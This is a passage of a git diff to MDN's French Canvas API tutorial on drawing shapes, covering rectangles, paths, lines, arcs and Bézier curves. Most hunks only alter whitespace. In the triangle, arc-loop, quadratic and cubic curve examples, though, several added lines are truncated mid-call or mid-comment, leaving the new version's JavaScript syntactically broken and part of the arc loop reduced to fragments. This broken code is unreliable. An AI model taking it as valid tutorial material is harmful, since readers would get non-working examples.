proto.fillStyle = color1; // bottom-right + proto.fillRect(size, size, size, size); + var pattern = proto.createPattern(proto.canvas, "repeat"); + pattern.data = proto.canvas.toDataURL(); + return pattern; }; var op_8x8 = createInterlace(8, "#FFF", "#eee"); diff --git a/files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.md b/files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.md index a38f95eadd..57d00b74d8 100644 --- a/files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.md +++ b/files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.md @@ -14,120 +14,120 @@ original_slug: Web/API/Canvas_API/Tutoriel_canvas/Formes_géométriques --- {{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Utilisation_de_base", "Tutoriel_canvas/Ajout_de_styles_et_de_couleurs")}} -Maintenant que nous avons défini notre [environnement de canevas](/fr/docs/Tutoriel_canvas/Utilisation_de_base), nous pouvons entrer dans les détails de la façon de dessiner sur le canevas. A la fin de cet article, vous aurez appris à tracer des rectangles, des triangles, des lignes, des arcs et des courbes, vous rendant ainsi familier avec certaines des formes de base. Le travail avec les trajets est essentiel lors du dessin d'objets sur le canevas, et nous verrons comment cela peut être fait. +Maintenant que nous avons défini notre [environnement de canevas](/fr/docs/Tutoriel_canvas/Utilisation_de_base), nous pouvons entrer dans les détails de la façon de dessiner sur le canevas. A la fin de cet article, vous aurez appris à tracer des rectangles, des triangles, des lignes, des arcs et des courbes, vous rendant ainsi familier avec certaines des formes de base. Le travail avec les trajets est essentiel lors du dessin d'objets sur le canevas, et nous verrons comment cela peut être fait. ## La grille -Avant de pouvoir commencer à dessiner, il nous faut parler de la grille ou **système de coordonnées**. Notre schéma HTML de la page précédente avait un élément canevas large de 150 pixels et haut de 150 pixels. À droite, vous voyez ce canevas avec la grille par défaut superposée. Normalement, 1 unité dans la grille correspond à 1 pixel sur le canevas. L'origine de cette grille est positionnée dans le coin *supérieur gauche* de coordonnées (0, 0). Tous les éléments sont placés relativement à cette origine. Ainsi, le coin supérieur gauche du carré bleu est à `x` pixels à partir de la gauche et à `y` pixels à partir du haut, aux coordonnées (x, y). Plus loin dans ce tutoriel, nous verrons comment déplacer l'origine à une position différente, faire pivoter la grille ou même la mettre à l'échelle ; mais pour l'instant, nous nous en tiendrons aux valeurs par défaut. +Avant de pouvoir commencer à dessiner, il nous faut parler de la grille ou **système de coordonnées**. Notre schéma HTML de la page précédente avait un élément canevas large de 150 pixels et haut de 150 pixels. À droite, vous voyez ce canevas avec la grille par défaut superposée. Normalement, 1 unité dans la grille correspond à 1 pixel sur le canevas. L'origine de cette grille est positionnée dans le coin *supérieur gauche* de coordonnées (0, 0). Tous les éléments sont placés relativement à cette origine. Ainsi, le coin supérieur gauche du carré bleu est à `x` pixels à partir de la gauche et à `y` pixels à partir du haut, aux coordonnées (x, y). Plus loin dans ce tutoriel, nous verrons comment déplacer l'origine à une position différente, faire pivoter la grille ou même la mettre à l'échelle ; mais pour l'instant, nous nous en tiendrons aux valeurs par défaut.  -## Dessin de rectangles +## Dessin de rectangles -Au contraire de [SVG](/fr/docs/Web/SVG), le {{HTMLElement("canvas")}} ne supporte qu'une seule forme primitive : le rectangle. Toute autre forme doit être créée en combinant un ou plusieurs trajets, c'est-à-dire des listes de points reliés par des lignes. Heureusement, nous avons un assortiment de fonctions de dessin de trajets, qui rendent possible la composition de formes très complexes. +Au contraire de [SVG](/fr/docs/Web/SVG), le {{HTMLElement("canvas")}} ne supporte qu'une seule forme primitive : le rectangle. Toute autre forme doit être créée en combinant un ou plusieurs trajets, c'est-à-dire des listes de points reliés par des lignes. Heureusement, nous avons un assortiment de fonctions de dessin de trajets, qui rendent possible la composition de formes très complexes. -Commençons par le rectangle. Il y a trois fonctions qui dessinent des rectangles sur le canvas : +Commençons par le rectangle. Il y a trois fonctions qui dessinent des rectangles sur le canvas : - {{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, largeur, hauteur)")}} - : Dessine un rectangle rempli. - {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, largeur, hauteur)")}} - - : Dessine un contour rectangulaire + - : Dessine un contour rectangulaire - {{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, largeur, hauteur)")}} - - : Efface la zone rectangulaire spécifiée, la rendant complètement transparente. + - : Efface la zone rectangulaire spécifiée, la rendant complètement transparente. -Chacune de ces trois fonctions a les mêmes paramètres. `x` et `y` indiquent la position sur le canevas (par rapport à l'origine) du coin supérieur gauche du rectangle sur le canvas. `largeur` et `hauteur` indiquent la taille du rectangle. +Chacune de ces trois fonctions a les mêmes paramètres. `x` et `y` indiquent la position sur le canevas (par rapport à l'origine) du coin supérieur gauche du rectangle sur le canvas. `largeur` et `hauteur` indiquent la taille du rectangle. -Ci-dessous la fonction `draw()` de la page précédente, mais utilisant maintenant ces trois fonctions. +Ci-dessous la fonction `draw()` de la page précédente, mais utilisant maintenant ces trois fonctions. ### Exemple de forme rectangulaire ```html hidden <html> - <body onload="draw();"> - <canvas id="canvas" width="150" height="150"></canvas> - </body> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> </html> ``` ```js function draw() { - var canvas = document.getElementById('canvas'); - if (canvas.getContext) { - var ctx = canvas.getContext('2d'); - - ctx.fillRect(25, 25, 100, 100); - ctx.clearRect(45, 45, 60, 60); - ctx.strokeRect(50, 50, 50, 50); - } + var canvas = document.getElementById('canvas'); + if (canvas.getContext) { + var ctx = canvas.getContext('2d'); + + ctx.fillRect(25, 25, 100, 100) + ctx.clearRect(45, 45, 60, 60); + ctx.strokeRect(50, 50, 50, 50); + } } ``` -Le résultat de cet exemple est montré ci-dessous. +Le résultat de cet exemple est montré ci-dessous. {{EmbedLiveSample("Exemple_de_forme_rectangulaire", 160, 160, "canvas_rect.png")}} -La fonction `fillRect()` dessine un grand carré noir de 100 pixels de côté. La fonction `clearRect()` efface ensuite un carré de 60x60 pixels, et finalement, la fonction `strokeRect()` est appelée pour créer un contour rectangulaire de 50x50 pixels dans l'espace effacé. +La fonction `fillRect()` dessine un grand carré noir de 100 pixels de côté. La fonction `clearRect()` efface ensuite un carré de 60x60 pixels, et finalement, la fonction `strokeRect()` est appelée pour créer un contour rectangulaire de 50x50 pixels dans l'espace effacé. -Dans les pages qui suivent, nous verrons deux méthodes alternatives pour `clearRect()`, et nous verrons aussi comment changer la couleur et le style de trait des formes rendues. +Dans les pages qui suivent, nous verrons deux méthodes alternatives pour `clearRect()`, et nous verrons aussi comment changer la couleur et le style de trait des formes rendues. A la différence des fonctions de trajet que nous allons voir dans la prochaine section, les trois fonctions de rectangles dessinent immédiatement sur le canvas. -## Dessin de trajets +## Dessin de trajets -Les seules autres formes primitives sont les _trajets_. Un trajet est une liste de points, reliés par des segments de lignes qui peuvent être de différentes formes, incurvées ou non, de largeur différente et de couleur différente. Un trajet, ou même un sous-trajet, peut être fermé. La réalisation de formes utilisant des trajets requiert quelques étapes supplémentaires : +Les seules autres formes primitives sont les _trajets_. Un trajet est une liste de points, reliés par des segments de lignes qui peuvent être de différentes formes, incurvées ou non, de largeur différente et de couleur différente. Un trajet, ou même un sous-trajet, peut être fermé. La réalisation de formes utilisant des trajets requiert quelques étapes supplémentaires : 1. Tout d'abord, vous devez créer le trajet. -2. Ensuite vous devez utiliser des [instructions de dessin](/fr-FR/docs/Web/API/CanvasRenderingContext2D#Paths) pour dessiner sur le trajet. +2. Ensuite vous devez utiliser des [instructions de dessin](/fr-FR/docs/Web/API/CanvasRenderingContext2D#Paths) pour dessiner sur le trajet. 3. Finalement, vous devez fermer le trajet. -4. Une fois que le trajet a été créé, vous devez le tracer ou le remplir pour le faire apparaître. +4. Une fois que le trajet a été créé, vous devez le tracer ou le remplir pour le faire apparaître. -Voici les functions utilisées pour réaliser ces étapes : +Voici les functions utilisées pour réaliser ces étapes : - {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} - - : Crée un nouveau trajet. Une fois créé, les fonctions de dessin ultérieures seront dirigées vers le trajet et utilisées pour le construire. + - : Crée un nouveau trajet. Une fois créé, les fonctions de dessin ultérieures seront dirigées vers le trajet et utilisées pour le construire. - [Méthodes de trajet](/fr-FR/docs/Web/API/CanvasRenderingContext2D#Paths) - - : Méthodes pour définir différents trajets pour les objets. + - : Méthodes pour définir différents trajets pour les objets. - {{domxref("CanvasRenderingContext2D.closePath", "closePath()")}} - - : Ferme le trajet pour que les fonctions de dessin ultérieures soient à nouveau dirigées vers le contexte. + - : Ferme le trajet pour que les fonctions de dessin ultérieures soient à nouveau dirigées vers le contexte. - {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} - - : Dessine la forme en traçant son contour. + - : Dessine la forme en traçant son contour. - {{domxref("CanvasRenderingContext2D.fill", "fill()")}} - - : Dessine une forme pleine en remplissant la zone de contenu du trajet. + - : Dessine une forme pleine en remplissant la zone de contenu du trajet. -La première étape pour créer un trajet est d'appeler `beginPath()`. En interne, les trajets sont stockés comme une liste de sous-trajets (lignes, arcs, etc) qui ensemble réalisent une forme. Chaque fois que cette méthode est appelée, la liste est remise à zéro, et nous pouvons commencer à dessiner de nouvelles formes. +La première étape pour créer un trajet est d'appeler `beginPath()`. En interne, les trajets sont stockés comme une liste de sous-trajets (lignes, arcs, etc) qui ensemble réalisent une forme. Chaque fois que cette méthode est appelée, la liste est remise à zéro, et nous pouvons commencer à dessiner de nouvelles formes. -> **Note :** Lorsque le trajet en cours est vide, par exemple immédiatement après avoir appelé `beginPath()`, ou sur un canvas nouvellement créé, la première instruction de construction de trajet est toujours traitée comme un `moveTo()`, indépendamment de ce qu'elle est en réalité. Pour cette raison, il sera pratiquement toujours souhaitable d'indiquer la position de départ après la réinitialisation d'un trajet. +> **Note :** Lorsque le trajet en cours est vide, par exemple immédiatement après avoir appelé `beginPath()`, ou sur un canvas nouvellement créé, la première instruction de construction de trajet est toujours traitée comme un `moveTo()`, indépendamment de ce qu'elle est en réalité. Pour cette raison, il sera pratiquement toujours souhaitable d'indiquer la position de départ après la réinitialisation d'un trajet. La deuxième étape est d'appeler les méthodes qui indiquent effectivement les sous-trajets à dessiner. Nous verrons ces méthodes bientôt. -La troisième méthode, optionnelle, est l'appel à `closePath()`. Cette méthode essaye de fermer la forme géométrique en dessinant une ligne droite depuis le point courant jusqu'au début du trajet. Si la forme a déjà été fermée ou s'il n'y a qu'un seul point dans la liste, cette fonction ne fait rien. +La troisième méthode, optionnelle, est l'appel à `closePath()`. Cette méthode essaye de fermer la forme géométrique en dessinant une ligne droite depuis le point courant jusqu'au début du trajet. Si la forme a déjà été fermée ou s'il n'y a qu'un seul point dans la liste, cette fonction ne fait rien. -> **Note :** Quand vous appelez `fill()`, toutes les formes ouvertes sont automatiquement fermées, ainsi vous n'avez pas à appeler `closePath()`. Ce n'est **pas** le cas quand vous appelez `stroke()`. +> **Note :** Quand vous appelez `fill()`, toutes les formes ouvertes sont automatiquement fermées, ainsi vous n'avez pas à appeler `closePath()`. Ce n'est **pas** le cas quand vous appelez `stroke()`. ### Dessin d'un triangle -Par exemple, le code pour dessiner un triangle peut ressembler à ce qui suit : +Par exemple, le code pour dessiner un triangle peut ressembler à ce qui suit : ```html hidden <html> - <body onload="dessiner();"> - <canvas id="canevas" width="150" height="150"></canvas> - </body> + <body onload="dessiner();"> + <canvas id="canevas" width="150" height="150"></canvas> + </body> </html> ``` ```js function dessiner() { - var canevas = document.getElementById('canevas'); - if (canevas.getContext) { - var ctx = canevas.getContext('2d'); + var canevas = document.getElementById('canevas'); + if (canevas.getContext) { + var ctx = canevas.getContext('2d'); ctx.beginPath(); ctx.moveTo(75, 50); ctx.lineTo(100, 75); ctx.lineTo(100, 25); ctx.fill(); - } + } } ``` @@ -137,28 +137,28 @@ Le résultat ressemble à : ### Déplacement du stylo -Une fonction très utile, qui ne dessine rien mais qui fait tout de même partie de la liste de trajets décrite plus haut, est la fonction `moveTo()`. La meilleure façon de l'imaginer est le fait de lever un stylo ou un crayon depuis une position sur un papier, et de le placer sur une autre. +Une fonction très utile, qui ne dessine rien mais qui fait tout de même partie de la liste de trajets décrite plus haut, est la fonction `moveTo()`. La meilleure façon de l'imaginer est le fait de lever un stylo ou un crayon depuis une position sur un papier, et de le placer sur une autre. - {{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}} - : Déplace le stylo aux coordonnées `x` et `y`. -Lorsque le canevas est initialisé ou que `beginPath()` est appelé, vous souhaiterez typiquement utiliser `moveTo()` pour positionner le point de départ quelque part ailleurs. On pourrait aussi utiliser `moveTo()` pour dessiner des trajets non reliés. Jetez un coup d'œil à l'émoticon ci-dessous. +Lorsque le canevas est initialisé ou que `beginPath()` est appelé, vous souhaiterez typiquement utiliser `moveTo()` pour positionner le point de départ quelque part ailleurs. On pourrait aussi utiliser `moveTo()` pour dessiner des trajets non reliés. Jetez un coup d'œil à l'émoticon ci-dessous. -Pour essayer par vous-même, vous pouvez utiliser le fragment de code ci-dessous. Collez-le simplement dans la fonction `draw()` que nous avons vue plus tôt. +Pour essayer par vous-même, vous pouvez utiliser le fragment de code ci-dessous. Collez-le simplement dans la fonction `draw()` que nous avons vue plus tôt. ```html hidden <html> - <body onload="draw();"> - <canvas id="canvas" width="150" height="150"></canvas> - </body> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> </html> ``` ```js function draw() { - var canvas = document.getElementById('canvas'); - if (canvas.getContext) { - var ctx = canvas.getContext('2d'); + var canvas = document.getElementById('canvas'); + if (canvas.getContext) { + var ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.arc(75, 75, 50, 0, Math.PI * 2, true); // Cercle extérieur @@ -169,15 +169,15 @@ function draw() { ctx.moveTo(95, 65); ctx.arc(90, 65, 5, 0, Math.PI * 2, true); // Oeil droite ctx.stroke(); - } + } } ``` -Le résultat ressemble à ce qui suit : +Le résultat ressemble à ce qui suit : {{EmbedLiveSample("Déplacement_du_stylo", 160, 160, "canvas_smiley.png")}} -Si vous voulez voir les lignes d'interconnexion, vous pouvez enlever les lignes qui appellent `moveTo()`. +Si vous voulez voir les lignes d'interconnexion, vous pouvez enlever les lignes qui appellent `moveTo()`. > **Note :** Pour en savoir plus sur la fonction `arc()`, voir la section {{anch("Arcs")}} ci-dessous. @@ -186,107 +186,107 @@ Si vous voulez voir les lignes d'interconnexion, vous pouvez enlever les lignes Pour dessiner des lignes droites, utilisez la méthode `lineTo()`. - {{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}} - - : Dessine une ligne depuis la position de dessin courante jusqu'à la position spécifiée par `x` et `y`. + - : Dessine une ligne depuis la position de dessin courante jusqu'à la position spécifiée par `x` et `y`. -Cette méthode prend deux arguments, `x` et `y`, qui sont les coordonnées du point final de la ligne. Le point de départ dépend des trajets précédemment tracés, où le point final du trajet précédent est le point de départ du suivant, etc. Le point de départ peut aussi être changé en utilisant la méthode `moveTo()`. +Cette méthode prend deux arguments, `x` et `y`, qui sont les coordonnées du point final de la ligne. Le point de départ dépend des trajets précédemment tracés, où le point final du trajet précédent est le point de départ du suivant, etc. Le point de départ peut aussi être changé en utilisant la méthode `moveTo()`. L'exemple ci-dessous dessine deux triangles, un rempli et un filaire. ```html hidden <html> - <body onload="dessiner();"> - <canvas id="canevas" width="150" height="150"></canvas> - </body> + <body onload="dessiner();"> + <canvas id="canevas" width="150" height="150"></canvas> + </body> </html> ``` ```js function dessiner() { - var canevas = document.getElementById('canevas'); - if (canevas.getContext) { - var ctx = canevas.getContext('2d'); - - // Triangle plein - ctx.beginPath(); - ctx.moveTo(25, 25); - ctx.lineTo(105, 25); - ctx.lineTo(25, 105); - ctx.fill(); - - // Triangle filaire - ctx.beginPath(); - ctx.moveTo(125, 125); - ctx.lineTo(125, 45); - ctx.lineTo(45, 125); - ctx.closePath(); - ctx.stroke(); - } + var canevas = document.getElementById('canevas'); + if (canevas.getContext) { + var ctx = canevas.getContext('2d'); + + // Triangle plei + ctx.beginPath(); + ctx.moveTo(25, 25); + ctx.lineTo(1 + ctx.lineTo(2 + ctx.fill(); + + // Triangle filaire + ctx.beginPath(); + ctx.moveTo(125, 125) + ctx.lineTo(125, + ctx.lineTo(45, 125); + ctx.closePath(); + ctx.stroke(); + } } ``` -Il commence par appeler `beginPath()` pour démarrer un nouveau trajet de forme. Nous utilisons ensuite la méthode `moveTo()` pour déplacer le point de départ à la position désirée. En dessous, deux lignes sont dessinées, qui constituent deux côtés du triangle. +Il commence par appeler `beginPath()` pour démarrer un nouveau trajet de forme. Nous utilisons ensuite la méthode `moveTo()` pour déplacer le point de départ à la position désirée. En dessous, deux lignes sont dessinées, qui constituent deux côtés du triangle. {{EmbedLiveSample("Les_lignes", 160, 160, "canvas_lineto.png")}} -Vous remarquerez la différence entre le triangle plein et le filaire. Cela, comme mentionné précédemment, vient du fait que les formes sont automatiquement fermées lorsqu'un trajet est rempli, mais pas lorsqu'elles sont dessinées au trait. Si nous avions omis le `closePath()` pour le triangle filaire, seules deux lignes auraient été tracées, et non pas un triangle complet. +Vous remarquerez la différence entre le triangle plein et le filaire. Cela, comme mentionné précédemment, vient du fait que les formes sont automatiquement fermées lorsqu'un trajet est rempli, mais pas lorsqu'elles sont dessinées au trait. Si nous avions omis le `closePath()` pour le triangle filaire, seules deux lignes auraient été tracées, et non pas un triangle complet. ### Les arcs -Pour dessiner des arcs ou des cercles, on utilise les méthodes `arc() ou arcTo()`. +Pour dessiner des arcs ou des cercles, on utilise les méthodes `arc() ou arcTo()`. - {{domxref("CanvasRenderingContext2D.arc", "arc(x, y, rayon, angleInitial, angleFinal, antihoraire)")}} - - : Dessine un arc de cercle qui est centré à la position _(x, y),_ de rayon _r_, commençant à _angleInitial_ et finissant à *angleFinal* en allant dans le sens indiqué par _antihoraire_ (par défaut, horaire). + - : Dessine un arc de cercle qui est centré à la position _(x, y),_ de rayon _r_, commençant à _angleInitial_ et finissant à *angleFinal* en allant dans le sens indiqué par _antihoraire_ (par défaut, horaire). - **{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, rayon)")}}** - - : Dessine un arc avec les points de contrôle et l'angle donnés, relié au point précédent par une ligne droite. + - : Dessine un arc avec les points de contrôle et l'angle donnés, relié au point précédent par une ligne droite. -Regardons plus en détail la méthode `arc`, qui prend six paramètres : `x` et `y` sont les coordonnées du centre du cercle sur lequel l'arc doit être tracé. `rayon` se passe d'explication. Les paramètres `angleInitial et` `angleFinal` définissent en radians les points de départ et d'arrivée de l'arc, le long de la courbe du cercle. Ceux-ci sont mesurés à partir de l'axe des x. Le paramètre `antihoraire` est une valeur booléenne qui, lorsque `true`, dessine l'arc dans le sens antihoraire, sinon, l'arc est dessiné dans le sens horaire. +Regardons plus en détail la méthode `arc`, qui prend six paramètres : `x` et `y` sont les coordonnées du centre du cercle sur lequel l'arc doit être tracé. `rayon` se passe d'explication. Les paramètres `angleInitial et` `angleFinal` définissent en radians les points de départ et d'arrivée de l'arc, le long de la courbe du cercle. Ceux-ci sont mesurés à partir de l'axe des x. Le paramètre `antihoraire` est une valeur booléenne qui, lorsque `true`, dessine l'arc dans le sens antihoraire, sinon, l'arc est dessiné dans le sens horaire. -> **Note :** Les angles dans la fonction `arc` sont mesurés en radians, et non en degrés. Pour convertir des degrés en radians, vous pouvez utiliser l'expression JavaScript suivante : `radians = (Math.PI/180)*degres`. +> **Note :** Les angles dans la fonction `arc` sont mesurés en radians, et non en degrés. Pour convertir des degrés en radians, vous pouvez utiliser l'expression JavaScript suivante : `radians = (Math.PI/180)*degres`. -L'exemple suivant est un peu plus complexe que ceux que nous avons vus plus haut. Il dessine 12 arcs différents, avec des angles et des remplissages différents. +L'exemple suivant est un peu plus complexe que ceux que nous avons vus plus haut. Il dessine 12 arcs différents, avec des angles et des remplissages différents. -Les deux [boucles `for`](/fr-FR/docs/Web/JavaScript/Reference/Statements/for) bouclent sur les lignes et les colonnes des arcs. Pour chaque arc, on commence un nouveau trajet en appelant `beginPath()`. Dans le code, chacun des paramètres dans l'arc est une variable pour des raisons de clarté, mais en réalité, vous n'avez pas besoin de le faire. +Les deux [boucles `for`](/fr-FR/docs/Web/JavaScript/Reference/Statements/for) bouclent sur les lignes et les colonnes des arcs. Pour chaque arc, on commence un nouveau trajet en appelant `beginPath()`. Dans le code, chacun des paramètres dans l'arc est une variable pour des raisons de clarté, mais en réalité, vous n'avez pas besoin de le faire. Les coordonnées `x` et `y` devraient être claires. `rayon` et `angleInitial` sont fixés. L'`angleFinal` commence à 180 degrés (demi-cercle) dans la première colonne et il est augmenté par pas de 90 degrés, pour finir par un cercle complet dans la dernière colonne. -L'instruction pour le paramètre `antihoraire` a pour résultat que la première et de la troisième ligne sont dessinées comme des arcs de sens horaire, et que la deuxième et quatrième sont dessinées comme des arcs de sens antihoraire. Enfin, l'instruction `if` fait des arcs filaires dans la moité supérieure, et des arcs remplis dans la moitié inférieure. +L'instruction pour le paramètre `antihoraire` a pour résultat que la première et de la troisième ligne sont dessinées comme des arcs de sens horaire, et que la deuxième et quatrième sont dessinées comme des arcs de sens antihoraire. Enfin, l'instruction `if` fait des arcs filaires dans la moité supérieure, et des arcs remplis dans la moitié inférieure. > **Note :** Cet exemple requiert canevas légèrement plus large que les autres sur cette page : 150 x 200 pixels. ```html hidden <html> - <body onload="dessiner();"> - <canvas id="canevas" width="150" height="200"></canvas> - </body> + <body onload="dessiner();"> + <canvas id="canevas" width="150" height="200"></canvas> + </body> </html> ``` ```js function dessiner() { - var canevas = document.getElementById('canevas'); - if (canevas.getContext) { - var ctx = canevas.getContext('2d'); - - for(var i = 0; i < 4; i++) { - for(var j = 0; j < 3; j++) { - ctx.beginPath(); - var x = 25 + j * 50; // Coordonnée x - var y = 25 + i * 50; // Coordonnée y - var rayon = 20; // Rayon de l'arc - var angleInitial = 0; // Point de départ sur le cercle - var angleFinal = Math.PI + (Math.PI * j) / 2; // Point d'arrivée sur le cercle - var antihoraire = i % 2 != 0; // Horaire ou antihoraire - - ctx.arc(x, y, rayon, angleInitial, angleFinal, antihoraire); - - if (i>1) { - ctx.fill(); - } else { - ctx.stroke(); - } - } - } - } + var canevas = document.getElementById('canevas'); + if (canevas.getContext) { + var ctx = canevas.getContext('2d'); + + for(var i = 0; i < 4 + for(var j = 0; j < + ctx.beginPath(); + var x = 25 + j * 50; // Coordonné + var y = 25 + i * 50; // Coordonné + var rayon = 20; // Rayon de l'arc + var angleInitial = 0; // Point de départ sur le cercle + var angleFinal = Math.PI + (Math.PI * j) / 2; // Point d + var antihoraire + + + + f + + + + + } + } + } } ``` @@ -294,22 +294,22 @@ function dessiner() { ### Les courbes quadratiques et de Bézier -Le type suivant de trajets disponible est la [courbe de Bézier](https://fr.wikipedia.org/wiki/Courbe_de_B%C3%A9zier), disponible en deux variétés, cubique et quadratique. Elles sont généralement utilisées pour dessiner des formes naturelles complexes. +Le type suivant de trajets disponible est la [courbe de Bézier](https://fr.wikipedia.org/wiki/Courbe_de_B%C3%A9zier), disponible en deux variétés, cubique et quadratique. Elles sont généralement utilisées pour dessiner des formes naturelles complexes. - {{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}} - - : Dessine une courbe de Bézier quadratique depuis la position courante du stylo jusqu'au point final spécifié par `x` et `y`, en utilisant le point de contrôle spécifié par `cp1x` et `cp1y`. + - : Dessine une courbe de Bézier quadratique depuis la position courante du stylo jusqu'au point final spécifié par `x` et `y`, en utilisant le point de contrôle spécifié par `cp1x` et `cp1y`. - {{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}} - - : Dessine une courbe de Bézier cubique depuis la position courante du stylo jusqu'au point spécifié par `x` et `y`, en utilisant les points de contrôle (`cp1x`, `cp1y`) et (`cp2x`, `cp2y`). + - : Dessine une courbe de Bézier cubique depuis la position courante du stylo jusqu'au point spécifié par `x` et `y`, en utilisant les points de contrôle (`cp1x`, `cp1y`) et (`cp2x`, `cp2y`). -La différence entre ces deux méthodes est mieux décrite par l'image à droite. Une courbe quadratique de Bézier a un point de départ et un point d'arrivée (points bleus), et seulement un **point de contrôle** (indiqué par le point rouge), tandis qu'une courbe de Bézier cubique utilise deux points de contrôle. +La différence entre ces deux méthodes est mieux décrite par l'image à droite. Une courbe quadratique de Bézier a un point de départ et un point d'arrivée (points bleus), et seulement un **point de contrôle** (indiqué par le point rouge), tandis qu'une courbe de Bézier cubique utilise deux points de contrôle.  -Les paramètres `x` et `y` de ces deux méthodes sont les coordonnées du point d'arrivée. `cp1x` et `cp1y` sont les coordonnées du premier point de contrôle, et `cp2x` et `cp2y` sont les coordonnées du second point de contrôle. +Les paramètres `x` et `y` de ces deux méthodes sont les coordonnées du point d'arrivée. `cp1x` et `cp1y` sont les coordonnées du premier point de contrôle, et `cp2x` et `cp2y` sont les coordonnées du second point de contrôle. -Utiliser des courbes quadratiques et cubiques de Bézier peut constituer un certain défi, car à la différence d'un logiciel de tracé des vecteurs comme _Adobe Illustrator_, nous n'avons pas de retour visuel direct concernant ce que nous faisons. Cela rend passablement difficile le dessin de formes complexes. Dans l'exemple suivant, nous allons dessiner quelques formes naturelles simples, mais si vous avez du temps et - surtout - de la patience, des formes bien plus complexes peuvent être créées. +Utiliser des courbes quadratiques et cubiques de Bézier peut constituer un certain défi, car à la différence d'un logiciel de tracé des vecteurs comme _Adobe Illustrator_, nous n'avons pas de retour visuel direct concernant ce que nous faisons. Cela rend passablement difficile le dessin de formes complexes. Dans l'exemple suivant, nous allons dessiner quelques formes naturelles simples, mais si vous avez du temps et - surtout - de la patience, des formes bien plus complexes peuvent être créées. -Il n'y a rien de très difficile dans ces exemples. Dans les deux cas, on peut voir une succession de courbes être dessinées qui aboutissent finalement à une forme complète. +Il n'y a rien de très difficile dans ces exemples. Dans les deux cas, on peut voir une succession de courbes être dessinées qui aboutissent finalement à une forme complète. #### Courbes de Bézier quadratiques @@ -317,28 +317,28 @@ Cet exemple utilise plusieurs courbes quadratiques de Bézier pour rendre une bu ```html hidden <html> - <body onload="dessiner();"> - <canvas id="canevas" width="150" height="150"></canvas> - </body> + <body onload="dessiner();"> + <canvas id="canevas" width="150" height="150"></canvas> + </body> </html> ``` ```js function dessiner() { - var canevas = document.getElementById('canevas'); - if (canevas.getContext) { - var ctx = canevas.getContext('2d'); - - // Exemples de courbes quadratiques - ctx.beginPath(); - ctx.moveTo(75, 25); - ctx.quadraticCurveTo(25, 25, 25, 62.5); - ctx.quadraticCurveTo(25, 100, 50, 100); - ctx.quadraticCurveTo(50, 120, 30, 125); - ctx.quadraticCurveTo(60, 120, 65, 100); - ctx.quadraticCurveTo(125, 100, 125, 62.5); - ctx.quadraticCurveTo(125, 25, 75, 25); - ctx.stroke(); + var canevas = document.getElementById('canevas'); + if (canevas.getContext) { + var ctx = canevas.getContext('2d'); + + // Exemples de c + ctx.beginPath(); + ctx.moveTo(75, 25); + ctx.quadraticCurveTo(25, 25, 25, 62.5); + ctx.quadraticCurveTo(25, 100, 50, 100); + ctx.quadraticCurveTo(50, 120, 30, 125); + ctx.quadraticCurveTo(60, 120, 65, 100) + ctx.quadraticCurveTo(125, 100, 125, 62 + ctx.quadraticCurveTo(125, 25, 75, 25); + ctx.stroke(); } } ``` @@ -347,32 +347,32 @@ function dessiner() { #### Les courbes de Bézier cubiques -Cet exemple dessine un cœur en utilisant les courbes de Bézier cubiques. +Cet exemple dessine un cœur en utilisant les courbes de Bézier cubiques. ```html hidden <html> - <body onload="dessiner();"> - <canvas id="canevas" width="150" height="150"></canvas> - </body> + <body onload="dessiner();"> + <canvas id="canevas" width="150" height="150"></canvas> + </body> </html> ``` ```js function dessiner() { - var canevas = document.getElementById('canevas'); - if (canevas.getContext) { - var ctx = canevas.getContext('2d'); - - // Exemple de courbes cubiques - ctx.beginPath(); - ctx.moveTo(75, 40); - ctx.bezierCurveTo(75, 37, 70, 25, 50, 25); - ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5); - ctx.bezierCurveTo(20, 80, 40, 102, 75, 120); - ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5); - ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25); - ctx.bezierCurveTo(85, 25, 75, 37, 75, 40); - ctx.fill(); + var canevas = document.getElementById('canevas'); + if (canevas.getContext) { + var ctx = canevas.getContext('2d'); + + // Exemple de co + ctx.beginPath(); + ctx.moveTo(75, 40); + ctx.bezierCurveTo(75, 37, 70, 25, 50, 25); + ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5 + ctx.bezierCurveTo(20, 80, 40, 102, 75, 120); + ctx.bezierCurveTo(110, 102, 130, 80, 130, + ctx.bezierCurveTo(130, 62.5, 130, 25, 100, + ctx.bezierCurveTo(85, 25, 75, 37, 75, 40); + ctx.fill(); } } ``` @@ -381,125 +381,125 @@ function dessiner() { ### Rectangles -En plus des trois méthodes que nous avons vues dans {{anch("Dessin de rectangles")}}, qui dessinent des formes rectangulaires directement sur le canevas, il y a la méthode `rect()`, qui ajoute un trajet rectangulaire à un trajet actuellement ouvert. +En plus des trois méthodes que nous avons vues dans {{anch("Dessin de rectangles")}}, qui dessinent des formes rectangulaires directement sur le canevas, il y a la méthode `rect()`, qui ajoute un trajet rectangulaire à un trajet actuellement ouvert. - {{domxref("CanvasRenderingContext2D.rect", "rect(x, y, largeur, hauteur)")}} - - : Dessine un rectangle dont l'angle supérieur gauche est spécifié par (`x`, `y`), avec les `largeur` et `hauteur` spécifiées. + - : Dessine un rectangle dont l'angle supérieur gauche est spécifié par (`x`, `y`), avec les `largeur` et `hauteur` spécifiées. -Quand cette méthode est exécutée, la méthode `moveTo()` est 